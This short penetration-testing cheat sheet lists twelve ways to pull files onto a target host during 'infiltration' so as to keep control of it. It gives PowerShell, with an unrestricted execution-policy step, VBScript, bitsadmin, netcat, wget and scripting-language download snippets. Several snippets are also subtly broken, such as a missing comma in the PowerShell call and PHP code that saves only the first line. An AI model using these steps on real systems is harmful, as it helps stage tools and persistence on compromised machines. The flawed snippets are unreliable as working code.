12 ways to download a file from webserver

In our infiltration process, we usually need to send some files to the target host, to achieve the right to maintain, control and other purposes. This article will introduce 12 ways to download files.

• PowerShell File
  

  $p = New-Object System.Net.WebClient
  
  $p.DownloadFile("http://domain/file" "C:\%homepath%\file")
  
  C:\>powershell set-executionpolicy unrestricted
  
  PS C:\> .\test.ps1

• Visual Basic
  

  Set args = Wscript.Arguments
  
  Url = "http://domain/file"
  
  dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
  
  dim bStrm: Set bStrm = createobject("Adodb.Stream")
  
  xHttp.Open "GET", Url, False
  
  xHttp.Send
  
  with bStrm
  
      .type = 1 '
  
      .open
  
      .write xHttp.responseBody
  
      .savetofile " C:\%homepath%\file", 2 '
  
  end with
  
  
  
  C:>cscript test.vbs

• Perl
  

  #!perl
  
  #!/usr/bin/perl
  
  use LWP::Simple;
  
  getstore("http://domain/file", "file");
  
  
  
  root@kali:~# perl test.pl

• Python
  

  #!python
  
  #!/usr/bin/python
  
  import urllib2
  
  u = urllib2.urlopen('http://domain/file')
  
  localFile = open('local_file', 'w')
  
  localFile.write(u.read())
  
  localFile.close()
  
  
  
  root@kali:~# python test.py

• Ruby
  

  #!ruby
  
  #!/usr/bin/ruby
  
  require 'net/http'
  
  Net::HTTP.start("www.domain.com") { |http|
  
  r = http.get("/file")
  
  open("save_location", "wb") { |file|
  
  file.write(r.body)
  
  }
  
  }
  
  root@kali:~# ruby test.rb

• PHP
  

  #!/usr/bin/php
  
  <?php
  
          $data = @file("http://example.com/file");
  
          $lf = "local_file";
  
          $fh = fopen($lf, 'w');
  
          fwrite($fh, $data[0]);
  
          fclose($fh);
  
  ?>
  
  root@kali:~# php test.php

• FTP
  

  ftp 127.0.0.1
  
  username
  
  password
  
  get file
  
  exit

• TFTP
  

  tftp -i host GET C:\%homepath%\file location_of_file_on_tftp_server

• Bitsadmin
  

  bitsadmin /transfer n http://domain/file c:\%homepath%\file

• Wget
  

  wget http://example.com/file

• Netcat
  

  cat file | nc -l 1234
  
  
  
  nc host_ip 1234 > file

• Windows Share
  

  net use x: \\127.0.0.1\share /user:example.com\userID myPassword

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